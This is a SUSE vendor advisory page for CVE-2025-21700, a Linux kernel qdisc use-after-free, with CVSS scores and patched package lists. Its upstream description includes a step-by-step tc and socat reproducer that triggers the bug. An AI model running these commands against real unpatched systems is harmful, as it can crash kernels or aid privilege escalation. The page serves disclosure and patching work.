Upstream information

CVE-2025-21700 at MITRE

Description

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>

SUSE information

Overall state of this security issue: Revisit

This issue is currently rated as having moderate severity.

CVSS v3 Scores
  CNA (CISA-ADP) SUSE
Base Score 7.8 6.7
Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector Local Local
Attack Complexity Low Low
Privileges Required Low High
User Interaction None None
Scope Unchanged Unchanged
Confidentiality Impact High High
Integrity Impact High High
Availability Impact High High
CVSSv3 Version 3.1 3.1
CVSS v4 Scores
  SUSE
Base Score 7.1
Vector CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attack Vector Local
Attack Complexity High
Attack Requirements None
Privileges Required High
User Interaction None
Vulnerable System Confidentiality Impact High
Vulnerable System Integrity Impact High
Vulnerable System Availability Impact High
Subsequent System Confidentiality Impact None
Subsequent System Integrity Impact None
Subsequent System Availability Impact None
CVSSv4 Version 4.0

Note from the SUSE Security Team on the kernel-default package

SUSE will no longer fix all CVEs in the Linux Kernel anymore, but declare some bug classes as won't fix. Please refer to TID 21496 for more details.

SUSE Bugzilla entry: 1237159 [IN_PROGRESS]

SUSE Security Advisories:

List of released packages

Product(s) Fixed package version(s) References
Container bci/bci-sle15-kernel-module-devel:15.6.32.16
  • kernel-default-devel >= 6.4.0-150600.23.42.2
  • kernel-devel >= 6.4.0-150600.23.42.1
  • kernel-macros >= 6.4.0-150600.23.42.1
  • kernel-syms >= 6.4.0-150600.23.42.1
Container suse/hpc/warewulf4-x86_64/sle-hpc-node:15.6.17.8.9
Image SLES15-SP6-CHOST-BYOS
Image SLES15-SP6-CHOST-BYOS-Azure
Image SLES15-SP6-CHOST-BYOS-EC2
Image SLES15-SP6-CHOST-BYOS-GCE
Image SLES15-SP6-CHOST-BYOS-GDC
Image SLES15-SP6-CHOST-BYOS-SAP-CCloud
  • kernel-default >= 6.4.0-150600.23.42.2
Image SLES12-SP5-EC2-BYOS
Image SLES12-SP5-EC2-On-Demand
  • kernel-default >= 4.12.14-122.250.1
Image SLES12-SP5-EC2-SAP-BYOS
Image SLES12-SP5-EC2-SAP-On-Demand
  • cluster-md-kmp-default >= 4.12.14-122.250.1
  • dlm-kmp-default >= 4.12.14-122.250.1
  • gfs2-kmp-default >= 4.12.14-122.250.1
  • kernel-default >= 4.12.14-122.250.1
  • ocfs2-kmp-default >= 4.12.14-122.250.1
SUSE Linux Enterprise Desktop 15 SP6
  • kernel-64kb >= 6.4.0-150600.23.42.2
  • kernel-64kb-devel >= 6.4.0-150600.23.42.2
  • kernel-default >= 6.4.0-150600.23.42.2
  • kernel-default-base >= 6.4.0-150600.23.42.2.150600.12.18.4
  • kernel-default-devel >= 6.4.0-150600.23.42.2
  • kernel-default-extra >= 6.4.0-150600.23.42.2
  • kernel-devel >= 6.4.0-150600.23.42.1
  • kernel-docs >= 6.4.0-150600.23.42.1
  • kernel-macros >= 6.4.0-150600.23.42.1
  • kernel-obs-build >= 6.4.0-150600.23.42.2
  • kernel-source >= 6.4.0-150600.23.42.1
  • kernel-syms >= 6.4.0-150600.23.42.1
  • kernel-zfcpdump >= 6.4.0-150600.23.42.2
 Patchnames:
SUSE-SLE-Module-Basesystem-15-SP6-2025-856
SUSE-SLE-Module-Development-Tools-15-SP6-2025-856
SUSE-SLE-Product-WE-15-SP6-2025-856
SUSE Linux Enterprise High Availability Extension 15 SP6
  • cluster-md-kmp-default >= 6.4.0-150600.23.42.2
  • dlm-kmp-default >= 6.4.0-150600.23.42.2
  • gfs2-kmp-default >= 6.4.0-150600.23.42.2
  • ocfs2-kmp-default >= 6.4.0-150600.23.42.2
 Patchnames:
SUSE-SLE-Product-HA-15-SP6-2025-856
SUSE Linux Enterprise High Performance Computing 15 SP6
  • kernel-64kb >= 6.4.0-150600.23.42.2
  • kernel-64kb-devel >= 6.4.0-150600.23.42.2
  • kernel-azure >= 6.4.0-150600.8.31.1
  • kernel-azure-devel >= 6.4.0-150600.8.31.1
  • kernel-default >= 6.4.0-150600.23.42.2
  • kernel-default-base >= 6.4.0-150600.23.42.2.150600.12.18.4
  • kernel-default-devel >= 6.4.0-150600.23.42.2
  • kernel-devel >= 6.4.0-150600.23.42.1
  • kernel-devel-azure >= 6.4.0-150600.8.31.1
  • kernel-docs >= 6.4.0-150600.23.42.1
  • kernel-macros >= 6.4.0-150600.23.42.1
  • kernel-obs-build >= 6.4.0-150600.23.42.2
  • kernel-source >= 6.4.0-150600.23.42.1
  • kernel-source-azure >= 6.4.0-150600.8.31.1
  • kernel-syms >= 6.4.0-150600.23.42.1
  • kernel-syms-azure >= 6.4.0-150600.8.31.1
  • kernel-zfcpdump >= 6.4.0-150600.23.42.2
  • reiserfs-kmp-default >= 6.4.0-150600.23.42.2
 Patchnames:
SUSE-SLE-Module-Basesystem-15-SP6-2025-856
SUSE-SLE-Module-Development-Tools-15-SP6-2025-856
SUSE-SLE-Module-Legacy-15-SP6-2025-856
SUSE-SLE-Module-Public-Cloud-15-SP6-2025-847
SUSE Linux Enterprise Live Patching 12 SP5
  • kernel-default-kgraft >= 4.12.14-122.250.1
  • kernel-default-kgraft-devel >= 4.12.14-122.250.1
 Patchnames:
SUSE-SLE-Live-Patching-12-SP5-2025-834
SUSE Linux Enterprise Live Patching 15 SP6
    		Patchnames:
    SUSE-SLE-Module-Live-Patching-15-SP6-2025-856
    SUSE-SLE-Module-Live-Patching-15-SP6-2025-955
    SUSE Linux Enterprise Module for Basesystem 15 SP6
    • kernel-64kb >= 6.4.0-150600.23.42.2
    • kernel-64kb-devel >= 6.4.0-150600.23.42.2
    • kernel-default >= 6.4.0-150600.23.42.2
    • kernel-default-base >= 6.4.0-150600.23.42.2.150600.12.18.4
    • kernel-default-devel >= 6.4.0-150600.23.42.2
    • kernel-devel >= 6.4.0-150600.23.42.1
    • kernel-macros >= 6.4.0-150600.23.42.1
    • kernel-zfcpdump >= 6.4.0-150600.23.42.2
    		 Patchnames:
    SUSE-SLE-Module-Basesystem-15-SP6-2025-856
    SUSE Linux Enterprise Module for Confidential Computing Technical Preview 15 SP6
    • kernel-coco >= 6.4.0-15061.18.coco15sp6.1
    • kernel-coco-devel >= 6.4.0-15061.18.coco15sp6.1
    • kernel-coco_debug >= 6.4.0-15061.18.coco15sp6.1
    • kernel-coco_debug-devel >= 6.4.0-15061.18.coco15sp6.1
    • kernel-devel-coco >= 6.4.0-15061.18.coco15sp6.1
    • kernel-source-coco >= 6.4.0-15061.18.coco15sp6.1
    • kernel-syms-coco >= 6.4.0-15061.18.coco15sp6.1
    • reiserfs-kmp-coco >= 6.4.0-15061.18.coco15sp6.1
    		 Patchnames:
    SUSE-SLE-Module-Confidential-Computing-15-SP6-2025-784
    SUSE Linux Enterprise Module for Development Tools 15 SP6
    • kernel-docs >= 6.4.0-150600.23.42.1
    • kernel-obs-build >= 6.4.0-150600.23.42.2
    • kernel-source >= 6.4.0-150600.23.42.1
    • kernel-syms >= 6.4.0-150600.23.42.1
    		 Patchnames:
    SUSE-SLE-Module-Development-Tools-15-SP6-2025-856
    SUSE Linux Enterprise Module for Legacy 15 SP6
    • reiserfs-kmp-default >= 6.4.0-150600.23.42.2
    		 Patchnames:
    SUSE-SLE-Module-Legacy-15-SP6-2025-856
    SUSE Linux Enterprise Module for Public Cloud 15 SP6
    • kernel-azure >= 6.4.0-150600.8.31.1
    • kernel-azure-devel >= 6.4.0-150600.8.31.1
    • kernel-devel-azure >= 6.4.0-150600.8.31.1
    • kernel-source-azure >= 6.4.0-150600.8.31.1
    • kernel-syms-azure >= 6.4.0-150600.8.31.1
    		 Patchnames:
    SUSE-SLE-Module-Public-Cloud-15-SP6-2025-847
    SUSE Linux Enterprise Real Time 15 SP6
    SUSE Real Time Module 15 SP6
    • cluster-md-kmp-rt >= 6.4.0-150600.10.29.1
    • dlm-kmp-rt >= 6.4.0-150600.10.29.1
    • gfs2-kmp-rt >= 6.4.0-150600.10.29.1
    • kernel-devel-rt >= 6.4.0-150600.10.29.1
    • kernel-rt >= 6.4.0-150600.10.29.1
    • kernel-rt-devel >= 6.4.0-150600.10.29.1
    • kernel-rt_debug >= 6.4.0-150600.10.29.1
    • kernel-rt_debug-devel >= 6.4.0-150600.10.29.1
    • kernel-source-rt >= 6.4.0-150600.10.29.1
    • kernel-syms-rt >= 6.4.0-150600.10.29.1
    • ocfs2-kmp-rt >= 6.4.0-150600.10.29.1
    		 Patchnames:
    SUSE-SLE-Module-RT-15-SP6-2025-955
    SUSE Linux Enterprise Server 12 SP5-LTSS
    • cluster-md-kmp-default >= 4.12.14-122.250.1
    • dlm-kmp-default >= 4.12.14-122.250.1
    • gfs2-kmp-default >= 4.12.14-122.250.1
    • kernel-default >= 4.12.14-122.250.1
    • kernel-default-base >= 4.12.14-122.250.1
    • kernel-default-devel >= 4.12.14-122.250.1
    • kernel-default-man >= 4.12.14-122.250.1
    • kernel-devel >= 4.12.14-122.250.1
    • kernel-macros >= 4.12.14-122.250.1
    • kernel-source >= 4.12.14-122.250.1
    • kernel-syms >= 4.12.14-122.250.1
    • ocfs2-kmp-default >= 4.12.14-122.250.1
    		 Patchnames:
    SUSE-SLE-SERVER-12-SP5-LTSS-2025-834
    SUSE Linux Enterprise Server 15 SP6
    SUSE Linux Enterprise Server for SAP Applications 15 SP6
    • kernel-64kb >= 6.4.0-150600.23.42.2
    • kernel-64kb-devel >= 6.4.0-150600.23.42.2
    • kernel-azure >= 6.4.0-150600.8.31.1
    • kernel-azure-devel >= 6.4.0-150600.8.31.1
    • kernel-default >= 6.4.0-150600.23.42.2
    • kernel-default-base >= 6.4.0-150600.23.42.2.150600.12.18.4
    • kernel-default-devel >= 6.4.0-150600.23.42.2
    • kernel-default-extra >= 6.4.0-150600.23.42.2
    • kernel-devel >= 6.4.0-150600.23.42.1
    • kernel-devel-azure >= 6.4.0-150600.8.31.1
    • kernel-docs >= 6.4.0-150600.23.42.1
    • kernel-macros >= 6.4.0-150600.23.42.1
    • kernel-obs-build >= 6.4.0-150600.23.42.2
    • kernel-source >= 6.4.0-150600.23.42.1
    • kernel-source-azure >= 6.4.0-150600.8.31.1
    • kernel-syms >= 6.4.0-150600.23.42.1
    • kernel-syms-azure >= 6.4.0-150600.8.31.1
    • kernel-zfcpdump >= 6.4.0-150600.23.42.2
    • reiserfs-kmp-default >= 6.4.0-150600.23.42.2
    		 Patchnames:
    SUSE-SLE-Module-Basesystem-15-SP6-2025-856
    SUSE-SLE-Module-Development-Tools-15-SP6-2025-856
    SUSE-SLE-Module-Legacy-15-SP6-2025-856
    SUSE-SLE-Module-Public-Cloud-15-SP6-2025-847
    SUSE-SLE-Product-WE-15-SP6-2025-856
    SUSE Linux Enterprise Server LTSS Extended Security 12 SP5
    • cluster-md-kmp-default >= 4.12.14-122.250.1
    • dlm-kmp-default >= 4.12.14-122.250.1
    • gfs2-kmp-default >= 4.12.14-122.250.1
    • kernel-default >= 4.12.14-122.250.1
    • kernel-default-base >= 4.12.14-122.250.1
    • kernel-default-devel >= 4.12.14-122.250.1
    • kernel-devel >= 4.12.14-122.250.1
    • kernel-macros >= 4.12.14-122.250.1
    • kernel-source >= 4.12.14-122.250.1
    • kernel-syms >= 4.12.14-122.250.1
    • ocfs2-kmp-default >= 4.12.14-122.250.1
    		 Patchnames:
    SUSE-SLE-SERVER-12-SP5-LTSS-EXTENDED-SECURITY-2025-834
    SUSE Linux Enterprise Workstation Extension 15 SP6
    • kernel-default-extra >= 6.4.0-150600.23.42.2
    		 Patchnames:
    SUSE-SLE-Product-WE-15-SP6-2025-856
    openSUSE Leap 15.6
    • cluster-md-kmp-64kb >= 6.4.0-150600.23.42.2
    • cluster-md-kmp-azure >= 6.4.0-150600.8.31.1
    • cluster-md-kmp-default >= 6.4.0-150600.23.42.2
    • cluster-md-kmp-rt >= 6.4.0-150600.10.29.1
    • dlm-kmp-64kb >= 6.4.0-150600.23.42.2
    • dlm-kmp-azure >= 6.4.0-150600.8.31.1
    • dlm-kmp-default >= 6.4.0-150600.23.42.2
    • dlm-kmp-rt >= 6.4.0-150600.10.29.1
    • dtb-allwinner >= 6.4.0-150600.23.42.1
    • dtb-altera >= 6.4.0-150600.23.42.1
    • dtb-amazon >= 6.4.0-150600.23.42.1
    • dtb-amd >= 6.4.0-150600.23.42.1
    • dtb-amlogic >= 6.4.0-150600.23.42.1
    • dtb-apm >= 6.4.0-150600.23.42.1
    • dtb-apple >= 6.4.0-150600.23.42.1
    • dtb-arm >= 6.4.0-150600.23.42.1
    • dtb-broadcom >= 6.4.0-150600.23.42.1
    • dtb-cavium >= 6.4.0-150600.23.42.1
    • dtb-exynos >= 6.4.0-150600.23.42.1
    • dtb-freescale >= 6.4.0-150600.23.42.1
    • dtb-hisilicon >= 6.4.0-150600.23.42.1
    • dtb-lg >= 6.4.0-150600.23.42.1
    • dtb-marvell >= 6.4.0-150600.23.42.1
    • dtb-mediatek >= 6.4.0-150600.23.42.1
    • dtb-nvidia >= 6.4.0-150600.23.42.1
    • dtb-qcom >= 6.4.0-150600.23.42.1
    • dtb-renesas >= 6.4.0-150600.23.42.1
    • dtb-rockchip >= 6.4.0-150600.23.42.1
    • dtb-socionext >= 6.4.0-150600.23.42.1
    • dtb-sprd >= 6.4.0-150600.23.42.1
    • dtb-xilinx >= 6.4.0-150600.23.42.1
    • gfs2-kmp-64kb >= 6.4.0-150600.23.42.2
    • gfs2-kmp-azure >= 6.4.0-150600.8.31.1
    • gfs2-kmp-default >= 6.4.0-150600.23.42.2
    • gfs2-kmp-rt >= 6.4.0-150600.10.29.1
    • kernel-64kb >= 6.4.0-150600.23.42.2
    • kernel-64kb-devel >= 6.4.0-150600.23.42.2
    • kernel-64kb-extra >= 6.4.0-150600.23.42.2
    • kernel-64kb-optional >= 6.4.0-150600.23.42.2
    • kernel-azure >= 6.4.0-150600.8.31.1
    • kernel-azure-devel >= 6.4.0-150600.8.31.1
    • kernel-azure-extra >= 6.4.0-150600.8.31.1
    • kernel-azure-optional >= 6.4.0-150600.8.31.1
    • kernel-azure-vdso >= 6.4.0-150600.8.31.1
    • kernel-debug >= 6.4.0-150600.23.42.2
    • kernel-debug-devel >= 6.4.0-150600.23.42.2
    • kernel-debug-vdso >= 6.4.0-150600.23.42.2
    • kernel-default >= 6.4.0-150600.23.42.2
    • kernel-default-base >= 6.4.0-150600.23.42.2.150600.12.18.4
    • kernel-default-base-rebuild >= 6.4.0-150600.23.42.2.150600.12.18.4
    • kernel-default-devel >= 6.4.0-150600.23.42.2
    • kernel-default-extra >= 6.4.0-150600.23.42.2
    • kernel-default-livepatch >= 6.4.0-150600.23.42.2
    • kernel-default-livepatch-devel >= 6.4.0-150600.23.42.2
    • kernel-default-optional >= 6.4.0-150600.23.42.2
    • kernel-default-vdso >= 6.4.0-150600.23.42.2
    • kernel-devel >= 6.4.0-150600.23.42.1
    • kernel-devel-azure >= 6.4.0-150600.8.31.1
    • kernel-devel-rt >= 6.4.0-150600.10.29.1
    • kernel-docs >= 6.4.0-150600.23.42.1
    • kernel-docs-html >= 6.4.0-150600.23.42.1
    • kernel-kvmsmall >= 6.4.0-150600.23.42.2
    • kernel-kvmsmall-devel >= 6.4.0-150600.23.42.2
    • kernel-kvmsmall-vdso >= 6.4.0-150600.23.42.2
    • kernel-macros >= 6.4.0-150600.23.42.1
    • kernel-obs-build >= 6.4.0-150600.23.42.2
    • kernel-obs-qa >= 6.4.0-150600.23.42.1
    • kernel-rt >= 6.4.0-150600.10.29.1
    • kernel-rt-devel >= 6.4.0-150600.10.29.1
    • kernel-rt-extra >= 6.4.0-150600.10.29.1
    • kernel-rt-livepatch-devel >= 6.4.0-150600.10.29.1
    • kernel-rt-optional >= 6.4.0-150600.10.29.1
    • kernel-rt-vdso >= 6.4.0-150600.10.29.1
    • kernel-rt_debug >= 6.4.0-150600.10.29.1
    • kernel-rt_debug-devel >= 6.4.0-150600.10.29.1
    • kernel-rt_debug-vdso >= 6.4.0-150600.10.29.1
    • kernel-source >= 6.4.0-150600.23.42.1
    • kernel-source-azure >= 6.4.0-150600.8.31.1
    • kernel-source-rt >= 6.4.0-150600.10.29.1
    • kernel-source-vanilla >= 6.4.0-150600.23.42.1
    • kernel-syms >= 6.4.0-150600.23.42.1
    • kernel-syms-azure >= 6.4.0-150600.8.31.1
    • kernel-syms-rt >= 6.4.0-150600.10.29.1
    • kernel-zfcpdump >= 6.4.0-150600.23.42.2
    • kselftests-kmp-64kb >= 6.4.0-150600.23.42.2
    • kselftests-kmp-azure >= 6.4.0-150600.8.31.1
    • kselftests-kmp-default >= 6.4.0-150600.23.42.2
    • kselftests-kmp-rt >= 6.4.0-150600.10.29.1
    • ocfs2-kmp-64kb >= 6.4.0-150600.23.42.2
    • ocfs2-kmp-azure >= 6.4.0-150600.8.31.1
    • ocfs2-kmp-default >= 6.4.0-150600.23.42.2
    • ocfs2-kmp-rt >= 6.4.0-150600.10.29.1
    • reiserfs-kmp-64kb >= 6.4.0-150600.23.42.2
    • reiserfs-kmp-azure >= 6.4.0-150600.8.31.1
    • reiserfs-kmp-default >= 6.4.0-150600.23.42.2
    • reiserfs-kmp-rt >= 6.4.0-150600.10.29.1
    		 Patchnames:
    openSUSE-SLE-15.6-2025-847
    openSUSE-SLE-15.6-2025-856
    openSUSE-SLE-15.6-2025-955

    First public cloud image revisions this CVE is fixed in:

    Status of this issue by product and package

    Please note that this evaluation state might be work in progress, incomplete or outdated. Also information for service packs in the LTSS phase is only included for issues meeting the LTSS criteria. If in doubt, feel free to contact us for clarification. The updates are grouped by state of their lifecycle. SUSE product lifecycles are documented on the lifecycle page.

    Product(s) Source package State
    Products under general support and receiving all security fixes.
    SUSE Linux Enterprise Desktop 15 SP6 kernel-64kb Released
    SUSE Linux Enterprise Desktop 15 SP6 kernel-default Released
    SUSE Linux Enterprise Desktop 15 SP6 kernel-default-base Released
    SUSE Linux Enterprise Desktop 15 SP6 kernel-docs Released
    SUSE Linux Enterprise Desktop 15 SP6 kernel-obs-build Released
    SUSE Linux Enterprise Desktop 15 SP6 kernel-source Released
    SUSE Linux Enterprise Desktop 15 SP6 kernel-syms Released
    SUSE Linux Enterprise Desktop 15 SP6 kernel-zfcpdump Released
    SUSE Linux Enterprise High Availability Extension 15 SP6 kernel-default Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-64kb Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-azure Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-default Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-default-base Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-docs Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-obs-build Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-source Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-source-azure Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-syms Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-syms-azure Released
    SUSE Linux Enterprise High Performance Computing 15 SP6 kernel-zfcpdump Released
    SUSE Linux Enterprise Live Patching 15 SP6 kernel-default Released
    SUSE Linux Enterprise Live Patching 15 SP6 kernel-livepatch-SLE15-SP6-RT_Update_9 Released
    SUSE Linux Enterprise Live Patching 15 SP6 kernel-livepatch-SLE15-SP6_Update_9 Released
    SUSE Linux Enterprise Live Patching 15 SP6 kernel-source Affected
    SUSE Linux Enterprise Micro 5.1 kernel-default Affected
    SUSE Linux Enterprise Micro 5.1 kernel-rt Affected
    SUSE Linux Enterprise Micro 5.1 kernel-source Affected
    SUSE Linux Enterprise Micro 5.1 kernel-source-rt Affected
    SUSE Linux Enterprise Micro 5.2 kernel-default Affected
    SUSE Linux Enterprise Micro 5.2 kernel-rt Affected
    SUSE Linux Enterprise Micro 5.2 kernel-source Affected
    SUSE Linux Enterprise Micro 5.2 kernel-source-rt Affected
    SUSE Linux Enterprise Micro 5.3 kernel-default Affected
    SUSE Linux Enterprise Micro 5.3 kernel-rt Affected
    SUSE Linux Enterprise Micro 5.3 kernel-source Affected
    SUSE Linux Enterprise Micro 5.3 kernel-source-rt Affected
    SUSE Linux Enterprise Micro 5.4 kernel-default Affected
    SUSE Linux Enterprise Micro 5.4 kernel-rt Affected
    SUSE Linux Enterprise Micro 5.4 kernel-source Affected
    SUSE Linux Enterprise Micro 5.4 kernel-source-rt Affected
    SUSE Linux Enterprise Micro 5.5 kernel-default Affected
    SUSE Linux Enterprise Micro 5.5 kernel-source Affected
    SUSE Linux Enterprise Micro 5.5 kernel-source-rt Affected
    SUSE Linux Enterprise Module for Basesystem 15 SP6 kernel-64kb Released
    SUSE Linux Enterprise Module for Basesystem 15 SP6 kernel-default Released
    SUSE Linux Enterprise Module for Basesystem 15 SP6 kernel-default-base Released
    SUSE Linux Enterprise Module for Basesystem 15 SP6 kernel-source Released
    SUSE Linux Enterprise Module for Basesystem 15 SP6 kernel-zfcpdump Released
    SUSE Linux Enterprise Module for Confidential Computing Technical Preview 15 SP6 kernel-coco Released
    SUSE Linux Enterprise Module for Confidential Computing Technical Preview 15 SP6 kernel-coco_debug Released
    SUSE Linux Enterprise Module for Confidential Computing Technical Preview 15 SP6 kernel-source-coco Released
    SUSE Linux Enterprise Module for Confidential Computing Technical Preview 15 SP6 kernel-syms-coco Released
    SUSE Linux Enterprise Module for Development Tools 15 SP6 kernel-default Released
    SUSE Linux Enterprise Module for Development Tools 15 SP6 kernel-docs Released
    SUSE Linux Enterprise Module for Development Tools 15 SP6 kernel-obs-build Released
    SUSE Linux Enterprise Module for Development Tools 15 SP6 kernel-source Released
    SUSE Linux Enterprise Module for Development Tools 15 SP6 kernel-syms Released
    SUSE Linux Enterprise Module for Legacy 15 SP6 kernel-default Released
    SUSE Linux Enterprise Module for Public Cloud 15 SP6 kernel-azure Released
    SUSE Linux Enterprise Module for Public Cloud 15 SP6 kernel-source-azure Released
    SUSE Linux Enterprise Module for Public Cloud 15 SP6 kernel-syms-azure Released
    SUSE Linux Enterprise Real Time 15 SP6 kernel-rt Released
    SUSE Linux Enterprise Real Time 15 SP6 kernel-rt_debug Released
    SUSE Linux Enterprise Real Time 15 SP6 kernel-source-rt Released
    SUSE Linux Enterprise Real Time 15 SP6 kernel-syms-rt Released
    SUSE Linux Enterprise Server 15 SP6 kernel-64kb Released
    SUSE Linux Enterprise Server 15 SP6 kernel-azure Released
    SUSE Linux Enterprise Server 15 SP6 kernel-default Released
    SUSE Linux Enterprise Server 15 SP6 kernel-default-base Released
    SUSE Linux Enterprise Server 15 SP6 kernel-docs Released
    SUSE Linux Enterprise Server 15 SP6 kernel-obs-build Released
    SUSE Linux Enterprise Server 15 SP6 kernel-source Released
    SUSE Linux Enterprise Server 15 SP6 kernel-source-azure Released
    SUSE Linux Enterprise Server 15 SP6 kernel-syms Released
    SUSE Linux Enterprise Server 15 SP6 kernel-syms-azure Released
    SUSE Linux Enterprise Server 15 SP6 kernel-zfcpdump Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-64kb Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-azure Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-default Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-default-base Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-docs Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-obs-build Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-source Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-source-azure Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-syms Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-syms-azure Released
    SUSE Linux Enterprise Server for SAP Applications 15 SP6 kernel-zfcpdump Released
    SUSE Linux Enterprise Workstation Extension 15 SP6 kernel-default Released
    SUSE Linux Enterprise Workstation Extension 15 SP6 kernel-source Affected
    SUSE Linux Micro 6.0 kernel-default Analysis
    SUSE Linux Micro 6.0 kernel-source Analysis
    SUSE Linux Micro 6.0 kernel-source-rt Analysis
    SUSE Linux Micro 6.1 kernel-default Analysis
    SUSE Linux Micro 6.1 kernel-source Analysis
    SUSE Linux Micro 6.1 kernel-source-rt Analysis
    SUSE Manager Proxy 4.3 kernel-default Affected
    SUSE Manager Proxy 4.3 kernel-source Affected
    SUSE Manager Retail Branch Server 4.3 kernel-default Affected
    SUSE Manager Retail Branch Server 4.3 kernel-source Affected
    SUSE Manager Server 4.3 kernel-default Affected
    SUSE Manager Server 4.3 kernel-source Affected
    SUSE Real Time Module 15 SP6 kernel-rt Released
    SUSE Real Time Module 15 SP6 kernel-rt_debug Released
    SUSE Real Time Module 15 SP6 kernel-source-rt Released
    SUSE Real Time Module 15 SP6 kernel-syms-rt Released
    openSUSE Leap 15.6 kernel-default Released
    openSUSE Leap 15.6 kernel-source Released
    openSUSE Leap 15.6 kernel-source-azure Released
    openSUSE Leap 15.6 kernel-source-rt Released
    Products under Long Term Service Pack support and receiving important and critical security fixes.
    SUSE Linux Enterprise High Availability Extension 12 SP5 kernel-default Affected
    SUSE Linux Enterprise High Availability Extension 12 SP5 kernel-source Affected
    SUSE Linux Enterprise High Availability Extension 15 SP5 kernel-default Affected
    SUSE Linux Enterprise High Availability Extension 15 SP5 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP3 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS kernel-default Affected
    SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP4 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS kernel-default Affected
    SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP5 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP5 kernel-source-azure Unsupported
    SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS kernel-default Affected
    SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS kernel-default Affected
    SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS kernel-source Affected
    SUSE Linux Enterprise Live Patching 12 SP5 kernel-default Released
    SUSE Linux Enterprise Live Patching 12 SP5 kernel-source Affected
    SUSE Linux Enterprise Live Patching 12 SP5 kgraft-patch-SLE12-SP5_Update_66 Released
    SUSE Linux Enterprise Live Patching 15 SP3 kernel-default Affected
    SUSE Linux Enterprise Live Patching 15 SP3 kernel-source Affected
    SUSE Linux Enterprise Live Patching 15 SP4 kernel-default Affected
    SUSE Linux Enterprise Live Patching 15 SP4 kernel-source Affected
    SUSE Linux Enterprise Live Patching 15 SP5 kernel-default Affected
    SUSE Linux Enterprise Live Patching 15 SP5 kernel-source Affected
    SUSE Linux Enterprise Module for Basesystem 15 SP3 kernel-source Affected
    SUSE Linux Enterprise Module for Basesystem 15 SP4 kernel-source Affected
    SUSE Linux Enterprise Module for Basesystem 15 SP5 kernel-source Affected
